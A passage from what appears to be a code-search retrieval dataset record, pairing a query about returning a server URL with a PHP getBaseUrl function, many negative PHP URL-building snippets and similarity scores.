user_info() {\n if ($this->rails_cookie_value() == NULL) {\n return null;\n }\n if (!self::$user_info && !self::$user_info_called) {\n $json_data = $this->api_request(\"user/\" . $this->rails_cookie_value());\n self::$user_info = $json_data->{'user'};\n self::$user_info_called = true;\n }\n return self::$user_info;\n }", "public function getUserInfo()\n {\n $CI = &get_instance();\n if (!$this->loggedIn()) {\n return null;\n } else {\n $id = $CI->session->userdata('user_id');\n return $CI->user_model->get($id);\n }\n }", "public function getUsername() {\n return $this->getConfig('username', $this->defaults['username']);\n }", "private function getUserManager() {\n return $this->get('seip.user_manager');\n }" ]
[ "0.71476805", "0.71118903", "0.71110106", "0.71110106", "0.6934066", "0.692421", "0.69149846", "0.69060063", "0.68164015", "0.6707965", "0.65576684", "0.6525031", "0.64981616", "0.6476507", "0.6445292", "0.6391442", "0.6391442", "0.638917", "0.6382252", "0.6382135", "0.6381036", "0.63321996", "0.63224906", "0.62723166", "0.62723166", "0.62723166", "0.6268599", "0.6254762", "0.6250094", "0.6236433", "0.6232348", "0.6232032", "0.62151694", "0.62053657", "0.6201756", "0.61990416", "0.61966276", "0.61966276", "0.61760366", "0.6175659", "0.6172291", "0.6172291", "0.6172291", "0.6172291", "0.6161476", "0.61541307", "0.6153831", "0.61530626", "0.6147245", "0.6147245", "0.6147245", "0.6134375", "0.61309725", "0.61234456", "0.6102092", "0.60968876", "0.60914516", "0.60896814", "0.6078362", "0.60778815", "0.6077043", "0.6076149", "0.6072421", "0.6067053", "0.6066174", "0.6050305", "0.6046339", "0.60409755", "0.60407287", "0.6030107", "0.6027072", "0.60248446", "0.60221446", "0.60175055", "0.6016787", "0.60122013", "0.60122013", "0.6005653", "0.6003981", "0.5993306", "0.5980127", "0.597123", "0.59712154", "0.5963126", "0.59561896", "0.59488136", "0.59460425", "0.593721", "0.5934024", "0.59332585", "0.5931659", "0.59315664", "0.59149843", "0.5913207", "0.5911893", "0.5909799", "0.590576", "0.5902707", "0.58940184", "0.5892849" ]
0.7352966
0
Returns the server URL for building links, based on the configured info.
public static function getBaseUrl() { list($host, $address, $port, $ssl) = MHTTPD::getServerInfo(); $url = $ssl ? 'https://' : 'http://'; $url .= $host.':'.$port; return $url; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getLink()\n {\n $link = $this->getFunctionPath();\n $parameterCount = count($this->servers);\n\n if($parameterCount > 0)\n $link .= \"?\";\n\n $link .= $this->buildParameterArray('servers', $this->servers);\n\n return $link;\n }", "function create_server_url()\n\t{\n\t\tglobal $config;\n\n\t\t$server_protocol = ($config['cookie_secure']) ? 'https://' : 'http://';\n\t\t$server_name = preg_replace('#^\\/?(.*?)\\/?$#', '\\1', trim($config['server_name']));\n\t\t$server_port = ($config['server_port'] <> 80) ? ':' . trim($config['server_port']) : '';\n\t\t$script_name = preg_replace('/^\\/?(.*?)\\/?$/', '\\1', trim($config['script_path']));\n\t\t$script_name = ($script_name == '') ? '' : '/' . $script_name;\n\t\t$server_url = $server_protocol . $server_name . $server_port . $script_name;\n\t\twhile(substr($server_url, -1, 1) == '/')\n\t\t{\n\t\t\t$server_url = substr($server_url, 0, -1);\n\t\t}\n\t\t$server_url = $server_url . '/';\n\n\t\t//$server_url = 'icyphoenix.com/';\n\n\t\treturn $server_url;\n\t}", "function create_short_server_url()\n\t{\n\t\t// usage: $server_url = create_short_server_url();\n\t\tglobal $config;\n\n\t\tif (!empty($config['short_site_url']))\n\t\t{\n\t\t\treturn $config['short_site_url'];\n\t\t}\n\n\t\t$server_protocol = ($config['cookie_secure']) ? 'https://' : 'http://';\n\t\t$server_name = preg_replace('#^\\/?(.*?)\\/?$#', '\\1', trim($config['server_name']));\n\t\t$server_port = ($config['server_port'] <> 80) ? ':' . trim($config['server_port']) : '';\n\t\t$script_name = preg_replace('/^\\/?(.*?)\\/?$/', '\\1', trim($config['script_path']));\n\t\t$script_name = ($script_name == '') ? '' : '/' . $script_name;\n\t\t//$server_url = $server_protocol . $server_name . $server_port . $script_name;\n\t\t$server_url = $server_name . $server_port . $script_name;\n\t\twhile(substr($server_url, -1, 1) == '/')\n\t\t{\n\t\t\t$server_url = substr($server_url, 0, -1);\n\t\t}\n\t\t$server_url = $server_url . '/';\n\n\t\t//$server_url = 'icyphoenix.com/';\n\n\t\t$config['short_site_url'] = $server_url;\n\t\treturn $server_url;\n\t}", "static public function selfURL()\r\n {\r\n //global $cfgSite;\r\n $cfgSite = Warecorp_Config_Loader::getInstance()->getAppConfig('cfg.site.xml');\r\n $s = empty($_SERVER[\"HTTPS\"]) ? '' : ($_SERVER[\"HTTPS\"] == \"on\") ? \"s\" : \"\";\r\n $protocol = self::strleft(strtolower($_SERVER[\"SERVER_PROTOCOL\"]), \"/\").$s;\r\n if ($cfgSite->use_port_in_URL == '1') {\r\n $port = ($_SERVER[\"SERVER_PORT\"] == \"80\") ? \"\" : (\":\".$_SERVER[\"SERVER_PORT\"]);\r\n } else {$port = '';}\r\n return $protocol.\"://\".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI'];\r\n }", "public function getServerUrl() {\n return $this->conn->getServerUrl();\n }", "public function getServerUrl() {\n $host = $this->getHeader(Header::HEADER_HOST);\n if (!$host) {\n $host = 'localhost';\n }\n\n if ($this->isSecure) {\n return 'https://' . $host;\n }\n\n return 'http://' . $host;\n }", "public static function generateURL()\n {\n return $_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];\n }", "protected function getRemoteServerUrl(){\n return rtrim(@$this->params['server']);\n }", "public function getServerUrl()\n { \n return $this->_shoptimallyDomain;\n }", "protected function _getUrl()\n {\n $s = empty($_SERVER['HTTPS']) ? '' : ($_SERVER['HTTPS'] == 'on') ? 's' : '';\n\n $protocol = substr(strtolower($_SERVER['SERVER_PROTOCOL']), 0, strpos(strtolower($_SERVER['SERVER_PROTOCOL']), '/')) . $s;\n\n $port = ($_SERVER['SERVER_PORT'] == '80') ? '' : (':'.$_SERVER['SERVER_PORT']);\n\n return $protocol . '://' . $_SERVER['SERVER_NAME'] . $port . $_SERVER['REQUEST_URI'];\n }", "public function buildFrontendUri() {}", "public function get_link() { return (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] \n === 'on' ? \"https\" : \"http\") . \"://\" . \n $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; }", "function server() {\n\tif(isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') {\n\n\t\t$protocol = 'https://'; // The current URL scheme uses https\n\n\t} else {\n\n\t\t$protocol = 'http://'; // The current URL scheme uses http\n\n\t}\n\n\tdefine('HTTP', $protocol); // Create a constant called HTTP and append the $protocol variable to it.\n\tdefine('SERVER_NAME', $_SERVER['SERVER_NAME']); // Create a constant called SERVER_NAME and append $_SERVER['SERVER_NAME'] to it\n\tdefine('REQUEST_URI', $_SERVER['REQUEST_URI']); // Create a constant called REQUEST_URI and append $_SERVER['REQUEST_URI'] to it\n\n\t$uri = strtr($_SERVER['PHP_SELF'], ['/index.php' => '']);\n\n\tdefine('LINK', HTTP . SERVER_NAME . $uri); // Create a constant called LINK and append both HTTP and SERVER_NAME\n\tdefine('AUTHOR', '<br><br> &copy; 2019 <a href=\"https://sitepoint.com/community/u/spaceshiptrooper\">spaceshiptrooper</a>');\n\tdefine('SEPARATOR', '<span class=\"separator p-r-10\"></span>');\n\n}", "public function getUrl()\n {\n $uri = $this->getHost();\n\n $server = provider::access('server');\n\n if ($server->isExist('PHP_SELF') && $server->isExist('REQUEST_URI') && $server->isValid('REQUEST_URI', validate::T_PRINTABLE)) {\n // for 'good' servers\n $uri .= $server->getValue('REQUEST_URI');\n } else {\n // for IIS\n if ($server->isValid('SCRIPT_NAME', validate::T_PRINTABLE)) {\n $uri .= $server->getValue('SCRIPT_NAME');\n }\n\n if ($server->isValid('QUERY_STRING', validate::T_PRINTABLE)) {\n $uri .= '?' . $server->getValue('QUERY_STRING');\n }\n }\n\n return $uri;\n }", "private function buildClientUrl() {\n // protocol\n $s = &$_SERVER;\n $ssl = (array_key_exists('HTTPS', $s) && !empty($s['HTTPS']) && $s['HTTPS'] == 'on') ? true : false;\n $sp = array_key_exists('SERVER_PROTOCOL', $s) ? strtolower($s['SERVER_PROTOCOL']) : 'http';\n $protocol = substr($sp, 0, strpos($sp, '/')) . (($ssl) ? 's' : '');\n\n // port\n $port = array_key_exists('SERVER_PORT', $s) ? $s['SERVER_PORT'] : '';\n $port = ((!$ssl && $port=='80') || ($ssl && $port=='443')) ? '' : ':'.$port;\n\n // host\n $host = array_key_exists('HTTP_X_FORWARDED_HOST', $s) && isset($s['HTTP_X_FORWARDED_HOST']) ? $s['HTTP_X_FORWARDED_HOST'] : (array_key_exists('HTTP_HOST', $s) && isset($s['HTTP_HOST']) ? $s['HTTP_HOST'] : null);\n $host = isset($host) ? $host : (array_key_exists('SERVER_NAME', $s) ? $s['SERVER_NAME'] : $s['USER']) . $port;\n\n // build the uri\n return $protocol . '://' . $host . (array_key_exists('REQUEST_URI', $s) ? $s['REQUEST_URI'] : 'localhost');\n }", "public static function siteURL(): string\n {\n return sprintf(\"%s://%s\", Request::scheme(), Request::host());\n }", "private function site_url()\n\t{\n\t\t$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443)\n\t\t\t? \"https://\"\n\t\t\t: \"http://\";\n\t\t$domainName = $_SERVER['HTTP_HOST'];\n\n\t\treturn $protocol.$domainName;\n\t}", "private function getSystemUrl() : string {\n\n\t\t\tif (empty($_SERVER['HTTP_HOST'])) return CONFIG_SYSTEM_URL;\n\n\t\t\treturn ((Request::isSecure() ? 'https://' : 'http://') . $_SERVER['HTTP_HOST']);\n\t\t}", "public function getRequestURL() {\n\t\t$scheme = $this->getScheme();\n\t\t$port = $this->getServerPort();\n\t\t$url = $scheme . '://';\n\t\t$url .= $this->getServerName();\n\t\tif(($scheme == 'http' && $port != 80) || ($scheme == 'https' && $port != 443)) {\n\t\t\t$url .= ':' . $port;\n\t\t}\n\t\t$url .= $this->getRequestURI();\n\t\treturn $url;\n\t}", "private function buildBaseUrl()\n {\n return $this->scheme() . $this->host;\n }", "public function getUrl(){\n return $this->server->getUrl() . \"/\" . $this->name;\n \n }", "public function url(){\n $protocol = \"http://\";\n if ( !empty( $_SERVER['HTTPS'] ) ) {\n $protocol = \"https://\";\n }\n $url = $protocol . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];\n return $url;\n }", "protected function getLink() {\n if ($override = $this->config->get('canonical_url_override')) {\n return $override;\n }\n else {\n return $this->currentRequest->getSchemeAndHttpHost();\n }\n }", "public function getOwnURL() \n\t{ \n\t\t$s = empty($_SERVER[\"HTTPS\"]) ? '' : ($_SERVER[\"HTTPS\"] == \"on\") ? \"s\" : \"\"; \n\t\t$protocol = $this->strleft(strtolower($_SERVER[\"SERVER_PROTOCOL\"]), \"/\").$s; \n$port = ($_SERVER[\"SERVER_PORT\"] == \"80\" || $_SERVER[\"SERVER_PORT\"] == \"82\") ? \"\" : (\":\".$_SERVER[\"SERVER_PORT\"]); \n\t\treturn $protocol.\"://\".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI']; \n\t}", "public function url() \n\t{\n\t\treturn static::protocol().'://'.static::host().$this->server('REQUEST_URI', '/' );\n\t}", "public function makelink()\n {\n /*\n * If link set directly that forces using it rather than build\n */\n if ($this->link) {\n return $this->link;\n }\n\n $pageid = static::makeParameterId($this->for);\n $parameters = $this->app['request']->query->all();\n if (array_key_exists($pageid, $parameters)) {\n unset($parameters[$pageid]);\n } else {\n unset($parameters['page']);\n }\n\n $parameters[$pageid] = '';\n $link = '?' . http_build_query($parameters);\n\n return $link;\n }", "static public function getFull()\n {\n return 'https://' . Config::get('app.Host') . $_SERVER['REQUEST_URI'];\n }", "protected function _getURL()\n {\n $s = empty($_SERVER[\"HTTPS\"]) ? '' : ($_SERVER[\"HTTPS\"] == \"on\") ? \"s\" : \"\";\n\n $protocol = substr(\n strtolower($_SERVER[\"SERVER_PROTOCOL\"]), 0, strpos(strtolower($_SERVER[\"SERVER_PROTOCOL\"]), \"/\")\n ) . $s;\n\n $port = ($_SERVER[\"SERVER_PORT\"] == \"80\") ? \"\" : (\":\".$_SERVER[\"SERVER_PORT\"]);\n\n return $protocol.\"://\".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI'];\n }", "protected function getRemoteMinerUrl(){\n $minerUrl=trim(@$this->params['minerUrl'],'/');\n return $this->getRemoteServerUrl().($minerUrl!=''?'/'.$minerUrl:'');\n }", "private static function getSiteUrl()\n {\n return ( isset( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] === 'on' ? \"https\" : \"http\") . \"://\" . $_SERVER['HTTP_HOST'] . ( isset($_SERVER['SCRIPT_URL'] ) ? $_SERVER['SCRIPT_URL'] : '' );\n }", "public function getUrl(): string\n {\n $query = $this->getQuery();\n return\n $this->getScheme() .\n '://' .\n $this->getHostAndPort() .\n $this->getRoot() .\n $this->getPath() .\n (!empty($query) ? '?' . http_build_query($query) : '');\n }", "public function getSiteURL()\n {\n return $this->config->get('site.url').$this->config->get('site.dir');\n }", "private function generateUrl() : string\n {\n return $this->apiUrl.$this->ownerRepo.$this->branchPath.$this->branch;\n }", "function _build_url() {\n\t\t// Add transaction ID for better detecting double requests in AUTH server\n\t\tif($GLOBALS['config']['application']['tid'] == '') $GLOBALS['config']['application']['tid'] = rand(0, 10000);\n\n\t\t$url = $this->url.'&action='.$this->action.'&tid='.$GLOBALS['config']['application']['tid'];\n\t\t\n\t\treturn $url;\n\t}", "function getCurrentUrl() {\n\t\t$url = isset( $_SERVER['HTTPS'] ) && 'on' === $_SERVER['HTTPS'] ? 'https' : 'http';\n\t\t$url .= '://' . $_SERVER['SERVER_NAME'];\n\t\t$url .= in_array( $_SERVER['SERVER_PORT'], array('80', '443') ) ? '' : ':' . $_SERVER['SERVER_PORT'];\n\t\t$url .= $_SERVER['REQUEST_URI'];\n\t\treturn $url;\n\t}", "public function getFullUrl()\r\n {\r\n return $this->hostname . '.' . $this->owner->username . '.' . Yii::app()->params['serverBaseHost'];\r\n }", "public function getURL() {\n $defaultPorts= array(\n 'http' => 80,\n 'https' => 443\n );\n \n // Determine which settings we need to pass\n $xsr= array();\n if (\n ($this->getProduct() != $this->getDefaultProduct()) ||\n ($this->getLanguage() != $this->getDefaultLanguage())\n ) {\n $xsr[]= $this->getProduct();\n $xsr[]= $this->getLanguage();\n }\n if ($this->getSessionId()) $xsr[]= 'psessionid='.$this->getSessionId();\n\n $port= '';\n if (\n $this->getPort() &&\n (!isset($defaultPorts[$this->getScheme()]) ||\n $this->getPort() != $defaultPorts[$this->getScheme()])\n ) {\n $port= ':'.$this->getPort();\n }\n\n\n return sprintf(\n '%s://%s%s/xml/%s%s%s%s',\n $this->getScheme(),\n $this->getHost(),\n $port,\n (sizeof($xsr) ? implode('.', $xsr).'/' : ''),\n $this->getStateName(), \n $this->getQuery() ? '?'.$this->getQuery() : '',\n $this->getFragment() ? '#'.$this->getFragment() : ''\n );\n }", "private static function assemble_url() {\n\t\t$nerdpress_options = get_option( 'blog_tutor_support_settings' );\n\t\t$cloudflare_zone = $nerdpress_options['cloudflare_zone'];\n\t\tif ( $cloudflare_zone === 'dns1' ) {\n\t\t\tself::$cloudflare_zone = 'cc0e675a7bd4f65889c85ec3134dd6f3';\n\t\t} elseif ( $cloudflare_zone === 'dns2' ) {\n\t\t\tself::$cloudflare_zone = 'c14d1ac2b0e38a6d49d466ae32b1a6d7';\n\t\t} elseif ( $cloudflare_zone === 'dns3' ) {\n\t\t\tself::$cloudflare_zone = '2f9485f19471fe4fa78fb51590513297';\n\t\t} else {\n\t\t\treturn;\n\t\t}\n\t\treturn self::$cloudflare_api_url . self::$cloudflare_api_version . self::$cloudflare_zones_directory . self::$cloudflare_zone . '/';\n\t}", "public static function getSiteUrl()\n\t{\n\t\t$uri = JUri::getInstance();\n\t\t$base = $uri->toString(array('scheme', 'host', 'port'));\n\n\t\tif (strpos(php_sapi_name(), 'cgi') !== false && !ini_get('cgi.fix_pathinfo') && !empty($_SERVER['REQUEST_URI']))\n\t\t{\n\t\t\t$script_name = $_SERVER['PHP_SELF'];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$script_name = $_SERVER['SCRIPT_NAME'];\n\t\t}\n\n\t\t$path = rtrim(dirname($script_name), '/\\\\');\n\n\t\tif ($path)\n\t\t{\n\t\t\t$siteUrl = $base . $path . '/';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$siteUrl = $base . '/';\n\t\t}\n\n\t\tif (JFactory::getApplication()->isClient('administrator'))\n\t\t{\n\t\t\t$adminPos = strrpos($siteUrl, 'administrator/');\n\t\t\t$siteUrl = substr_replace($siteUrl, '', $adminPos, 14);\n\t\t}\n\n\t\treturn $siteUrl;\n\t}", "private function getDestinationUrl()\n {\n if (!empty($this->options->cloneHostname)) {\n return $this->options->cloneHostname;\n }\n\n return trailingslashit(get_site_url()) . $this->options->cloneDirectoryName;\n }", "function getUrl() {\n\t\t$url = @( $_SERVER[\"HTTPS\"] != 'on' ) ? 'http://'.$_SERVER[\"SERVER_NAME\"] : 'https://'.$_SERVER[\"SERVER_NAME\"];\n\t\t$url .= ( $_SERVER[\"SERVER_PORT\"] !== 80 ) ? \":\".$_SERVER[\"SERVER_PORT\"] : \"\";\n\t\t$url .= $_SERVER[\"REQUEST_URI\"];\n\t\treturn $url;\n\t}", "protected function getOpenIdConfigUrl()\n {\n return $this->getAdfsServer().$this->config_endpoint;\n }", "function get_generic_link() {\n\t\treturn $this->url;\n\t}", "function siteURL()\n{\n $protocol = 'http://';\n $domainName = $_SERVER['HTTP_HOST'].'/';\n return $protocol.$domainName;\n}", "public function getURL(): string\n {\n return $this->url.$this->apiVersion.'/';\n }", "function Link()\n\t{\tif ($this->details[\"hblink\"])\n\t\t{\tif (strstr($this->details[\"hblink\"], \"http://\") || strstr($this->details[\"hblink\"], \"https://\"))\n\t\t\t{\treturn $this->details[\"hblink\"];\n\t\t\t} else\n\t\t\t{\treturn SITE_URL . $this->details[\"hblink\"];\n\t\t\t}\n\t\t}\n\t}", "function selfURL() {\n \t$s = empty($_SERVER[\"HTTPS\"]) ? '' : ($_SERVER[\"HTTPS\"] == \"on\") ? \"s\" : \"\";\n \t$protocol = strleft(strtolower($_SERVER[\"SERVER_PROTOCOL\"]), \"/\").$s;\n \t$port = ($_SERVER[\"SERVER_PORT\"] == \"80\") ? \"\" : (\":\".$_SERVER[\"SERVER_PORT\"]);\n\t\treturn $protocol.\"://\".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI'];\n\t}", "function get_url() {\n $url = isset($_SERVER['HTTPS']) && 'on' === $_SERVER['HTTPS'] ? 'https' : 'http';\n $url .= '://' . $_SERVER['SERVER_NAME'];\n $url .= in_array($_SERVER['SERVER_PORT'], array('80', '443')) ? '' : ':' . $_SERVER['SERVER_PORT'];\n $url .= $_SERVER['REQUEST_URI'];\n return $url;\n}", "function getBaseUrl() {\n if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on')\n $link = \"https\";\n else\n $link = \"http\";\n\n // Here append the common URL characters.\n $link .= \"://\";\n\n // Append the host(domain name, ip) to the URL.\n $link .= $_SERVER['HTTP_HOST'];\n\n // Append the requested resource location to the URL\n $link .= $_SERVER['REQUEST_URI'];\n\n // Print the link\n echo substr($link, 0, strrpos($link, '/') + 1);\n}", "static function URL ()\n\t\t{\n\t\t\tif (php_sapi_name() === \"cli\")\n\t\t\t\treturn NULL;\n\t\t\treturn (self::Protocol().\"://\".self::ServerName().self::PortReadable().self::RequestURI());\n\t\t}", "private function getCurrentURL() {\n $currentURL = (isset($_SERVER[\"HTTPS\"]) && $_SERVER[\"HTTPS\"] == \"on\") ? \"https://\" : \"http://\";\n $currentURL .= $_SERVER[\"SERVER_NAME\"];\n\n if ($_SERVER[\"SERVER_PORT\"] != \"80\" && $_SERVER[\"SERVER_PORT\"] != \"443\") {\n $currentURL .= \":\" . $_SERVER[\"SERVER_PORT\"];\n }\n\n // $currentURL .= $_SERVER[\"REQUEST_URI\"];\n // Ignore Query String\n if (isset($_SERVER[\"SCRIPT_NAME\"])) {\n $currentURL .= $_SERVER[\"SCRIPT_NAME\"];\n }\n if (isset($_SERVER[\"PATH_INFO\"])) {\n $currentURL .= $_SERVER[\"PATH_INFO\"];\n }\n return $currentURL;\n }", "function baseUrl(){\n return sprintf(\n \"%s://%s\",\n isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',\n $_SERVER['SERVER_NAME']\n );\n }", "public function getInfoUrl() {\n return \"http://www.silexlabs.org/amfphp/documentation/client-generators/\";\n }", "public function getCanonicalURL(){\n\t\t$url = $this->getProtocol() . \"://\" . $this->getDomain() . \"/\";\n\t\tif($this->htaccess){\n\t\t\tif(isset($this->request['gameID'])){\n\t\t\t\t$url .= \"game/{$this->request['gameID']}\";\n\t\t\t} elseif(isset($this->get['page'])){\n\t\t\t\t$url .= $this->get['page'];\n\t\t\t}\n\t\t} else {\n\t\t\t$url .= $this->getRootDir() . \"/core.php\";\n\t\t\t$sep = \"?\";\n\t\t\tif(isset($this->get['gameID'])){\n\t\t\t\t$url .= $sep . \"page=game&gameID=\" . $this->request['gameID'];\n\t\t\t\t$sep = \"&\";\n\t\t\t} elseif(isset($this->get['page'])){\n\t\t\t\t$url .= $sep . \"page=\" . $this->get['page'];\n\t\t\t}\n\t\t}\n\t\treturn $url;\n\t}", "public function GetUrlForSelf(): string\n {\n $host_base = Config::get('app.url');\n return \"{$host_base}/test/{$this->id}\";\n }", "public function url(){\r\n\t\techo $_SERVER['SERVER_NAME'].\" => \".$_SERVER['PHP_SELF'];\r\n\t}", "static function obtenerUrlActual() {\n $url = Util::crearUrl($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);\n return $url;\n }", "protected function getFetchUrl() {\n $url = sprintf(\n 'sites/%s/environments/%s/hostnames?hydrate=%s',\n $this->environment->site->get('id'),\n $this->environment->get('id'),\n $this->hydrate\n );\n return $url;\n }", "public function url()\n {\n $scheme = $this->scheme();\n $scheme = $scheme ? $scheme . '://' : '//';\n $query = $this->query() ? '?' . http_build_query($this->query()) : '';\n $fragment = $this->fragment() ? '#' . $this->fragment() : '';\n return $scheme . $this->host() . $this->path() . $query . $fragment;\n }", "function get_act_url() {\n\t\t $act_url = ( isset( $_SERVER['HTTPS'] ) && 'on' === $_SERVER['HTTPS'] ) ? 'https' : 'http';\n\t\t $act_url .= '://' . $_SERVER['SERVER_NAME'];\n\t\t $act_url .= in_array( $_SERVER['SERVER_PORT'], array( '80', '443' ) ) ? '' : \":\" . $_SERVER['SERVER_PORT'];\n\t\t return $act_url;\n}", "public static function curURL() {\n\t\t\t$pageURL = 'http';\n\t\t\tif ($_SERVER[\"HTTPS\"] == \"on\") {$pageURL .= \"s\";}\n\t\t\t\t$pageURL .= \"://\";\n\t\t\tif ($_SERVER[\"SERVER_PORT\"] != \"80\") {\n\t\t\t\t$pageURL .= $_SERVER[\"SERVER_NAME\"].\":\".$_SERVER[\"SERVER_PORT\"].$_SERVER['PHP_SELF'];\n\t\t\t} else {\n\t\t\t\t$pageURL .= $_SERVER[\"SERVER_NAME\"].\"/\";\n\t\t\t}\n\t\t\treturn $pageURL;\n\t\t}", "public function getUrl()\n {\n return $this->scheme . '://' . $this->host . ':' . $this->port . '/' . trim($this->path, '/');\n }", "public function buildBackendUri() {}", "function getAppUrl() {\r\n\r\n $url = getHost() . getAppPath();\r\n\r\n return $url;\r\n\r\n }", "public function url()\n\t{\n\t\treturn ($this->secure() ? 'https' : 'http') . '//' . $this->domainName() . $this->uri();\n\t}", "public static function fullUrl() {\n\t\t\t$s = empty($_SERVER['HTTPS']) ? '' : ($_SERVER['HTTPS'] == 'on') ? 's' : '';\n\t\t\t$protocol = substr(strtolower($_SERVER['SERVER_PROTOCOL']), 0, strpos(strtolower($_SERVER['SERVER_PROTOCOL']), '/')) . $s;\n\t\t\t$port = ($_SERVER['SERVER_PORT'] == '80') ? '' : (\":\".$_SERVER['SERVER_PORT']);\n\t\t\treturn $protocol . \"://\" . $_SERVER['HTTP_HOST'] . $port . $_SERVER['REQUEST_URI'];\n\t\t}", "private function getJenkinsUrl()\n {\n $jenkins_location = $this->app['config']['jenkins']['location'];\n $jenkins_user = $this->app['config']['jenkins']['api_user'];\n $jenkins_token = $this->app['config']['jenkins']['api_token'];\n\n $jenkins_protocol = 'http';\n $jenkins_host = $jenkins_location;\n\n if(preg_match('/^(.*):\\/\\/(.*)$/', $jenkins_location, $matches)) {\n $jenkins_protocol = $matches[1];\n $jenkins_host = $matches[2];\n }\n\n $jenkins_host = rtrim($jenkins_host, '/') . '/';\n\n $jenkins_http_auth_string = '';\n if(!empty($jenkins_user) && !empty($jenkins_token)) {\n $jenkins_http_auth_string = $jenkins_user . ':' . $jenkins_token . '@';\n }\n\n $jenkins_url = $jenkins_protocol . '://' . $jenkins_http_auth_string . $jenkins_host;\n\n return $jenkins_url;\n }", "function labdevs_short_url_link()\n{\n return get_option(\"labdevs_settings_option_short_url\");\n}", "function getGameURL()\n{\n\tif(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') \n\t\t$link = \"https\"; \n\telse\n\t\t$link = \"http\"; \n\n\t$link .= \"://\"; \n\n\t// Append the host to URL\n\t$link .= $_SERVER['HTTP_HOST']; \n\t\n\t// Append the folder structure to URL\n\t$link .= $_SERVER['REQUEST_URI']; \n\t\t\n\t// Remove \"host\" subfolder\n\t$folder_name = \"host\";\n\t$link = substr_replace($link ,\"\", (strlen($folder_name) + 1) * -1);\n\treturn $link; \n}", "function get_short_url() {\n\t// Get Altis config first.\n\t$short_url = has_altis_config() ? Altis\\get_config()['hm-juicer']['juicer-short-url'] : false;\n\n\t// If the Altis setting is not defined, check the JUICER_SHORT_URL constant and use that if it exists.\n\tif ( empty( $short_url ) ) {\n\t\tif ( defined( 'JUICER_SHORT_URL' ) ) {\n\t\t\t$short_url = JUICER_SHORT_URL;\n\t\t} else {\n\t\t\t// Return the option, if it exists.\n\t\t\t$short_url = Settings\\juicer_get_option( 'JUICER_SHORT_URL', false );\n\t\t}\n\t}\n\n\t// If the url doesn't have a scheme, add one for consistency.\n\tif ( $short_url && strpos( $short_url, 'http' ) !== 0 ) {\n\t\t$short_url = 'https://' . $short_url;\n\t}\n\n\treturn $short_url;\n}", "protected function prepareUrl()\n {\n $address = rtrim($this->config['url'], '/');\n\n if (substr_compare($address, static::API_PATH, -strlen(static::API_PATH)) !== 0) {\n $address .= static::API_PATH;\n }\n\n return $address;\n }", "protected function getUrl()\n {\n if (!empty($this->info['url'])) {\n return $this->info['url'];\n }\n }", "function getCurrentURL(){\n $currentURL = (@$_SERVER[\"HTTPS\"] == \"on\") ? \"https://\" : \"http://\";\n $currentURL .= $_SERVER[\"SERVER_NAME\"];\n \n if($_SERVER[\"SERVER_PORT\"] != \"80\" && $_SERVER[\"SERVER_PORT\"] != \"443\")\n {\n $currentURL .= \":\".$_SERVER[\"SERVER_PORT\"];\n } \n \n $currentURL .= $_SERVER[\"REQUEST_URI\"];\n return $currentURL;\n}", "function url_site(): string\n{\n //return input_server('REQUEST_SCHEME') . '://' . input_server('SERVER_NAME');\n $site = \\get_site_url();\n $pos = strpos($site, '/', 8);\n return $pos ? substr($site, 0, $pos) : $site;\n}", "public function GetBaseUrl()\n {\n // @TODO Server Object\n $protocol = ((isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] === 'on' || $_SERVER['HTTPS'] == 1)) ? \"https\" : \"http\") . '://';\n $host = $_SERVER['HTTP_HOST'];\n\n // use port if non default\n $port =\n isset($parts['port']) &&\n (($protocol === 'http://' && $parts['port'] !== 80) ||\n ($protocol === 'https://' && $parts['port'] !== 443))\n ? ':' . $parts['port'] : '';\n\n // rebuild\n return $protocol . $host . $port;\n }", "function curPageURL() {\n $pageURL = 'http';\n if (isset($_SERVER[\"HTTPS\"]) && $_SERVER[\"HTTPS\"] == \"on\") {$pageURL .= \"s\";}\n $pageURL .= \"://\";\n \n if ($_SERVER[\"SERVER_PORT\"] != \"80\") {\n $pageURL .= $_SERVER[\"SERVER_NAME\"].\":\".$_SERVER[\"SERVER_PORT\"].$_SERVER[\"REQUEST_URI\"];\n } else {\n $pageURL .= $_SERVER[\"SERVER_NAME\"].$_SERVER[\"REQUEST_URI\"];\n }\n return $pageURL;\n }", "public function genMapsLink()\n {\n $city = str_replace(' ', '+', $this->getCity()->getCityName());\n $street = str_replace(' ', '+', $this->getStreet());\n $hno = str_replace(' ', '+', $this->getHouseNo());\n\n $url = \"https://maps.google.com?q=\" . $city . '+' . $street . '+' . $hno;\n\n return $url;\n }", "private function getJoinLink(): string\n {\n return Config::get('SERVER_URI') . 'join/' . $this->folder->ownerId . '/' . $this->folder->id . '/' . $this->token;\n }", "protected function getUrl(){\n\t\treturn $this->apiUrl . $this->apiVersion . '/';\n\t}", "private function curPageURL() {\r\n $pageURL = 'http';\r\n if ($_SERVER[\"HTTPS\"] == \"on\") {$pageURL .= \"s\";}\r\n $pageURL .= \"://\";\r\n if ($_SERVER[\"SERVER_PORT\"] != \"80\") {\r\n $pageURL .= $_SERVER[\"SERVER_NAME\"].\":\".$_SERVER[\"SERVER_PORT\"].$_SERVER[\"REQUEST_URI\"];\r\n } else {\r\n 